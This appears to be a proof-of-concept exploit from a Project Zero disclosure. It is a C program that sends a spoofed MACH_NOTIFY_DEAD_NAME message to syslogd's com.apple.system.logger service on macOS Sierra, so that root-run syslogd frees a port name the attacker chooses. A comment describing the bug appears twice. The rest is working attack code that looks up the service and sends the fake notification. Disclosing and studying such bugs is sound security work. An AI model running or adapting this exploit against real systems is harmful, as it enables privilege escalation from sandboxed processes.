/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977
syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.
Here's a snippet from its mach message handling loop listening on the service port:
ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
...
if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
{
deadname = (mach_dead_name_notification_t *)request;
dispatch_async(asl_server_queue, ^{
cancel_session(deadname->not_port);
/* dead name notification includes a dead name right */
mach_port_deallocate(mach_task_self(), deadname->not_port);
free(request);
});
An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.
An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
// ianbeer
#if 0
MacOS/iOS arbitrary port replacement in syslogd
syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.
Here's a snippet from its mach message handling loop listening on the service port:
ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
...
if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
{
deadname = (mach_dead_name_notification_t *)request;
dispatch_async(asl_server_queue, ^{
cancel_session(deadname->not_port);
/* dead name notification includes a dead name right */
mach_port_deallocate(mach_task_self(), deadname->not_port);
free(request);
});
An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.
An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>
char* service_name = "com.apple.system.logger";
struct notification_msg {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;
};
mach_port_t lookup(char* name) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}
return service_port;
}
int main() {
kern_return_t err;
mach_port_t service_port = lookup(service_name);
mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy
printf("%d\n", getpid());
printf("service port: %x\n", service_port);
struct notification_msg not = {0};
not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
not.not_header.msgh_size = sizeof(struct notification_msg);
not.not_header.msgh_remote_port = service_port;
not.not_header.msgh_local_port = MACH_PORT_NULL;
not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME
not.NDR = NDR_record;
not.not_port = target_port;
// send the fake notification message
err = mach_msg(¬.not_header,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct notification_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("fake notification message: %s\n", mach_error_string(err));
return 0;
}
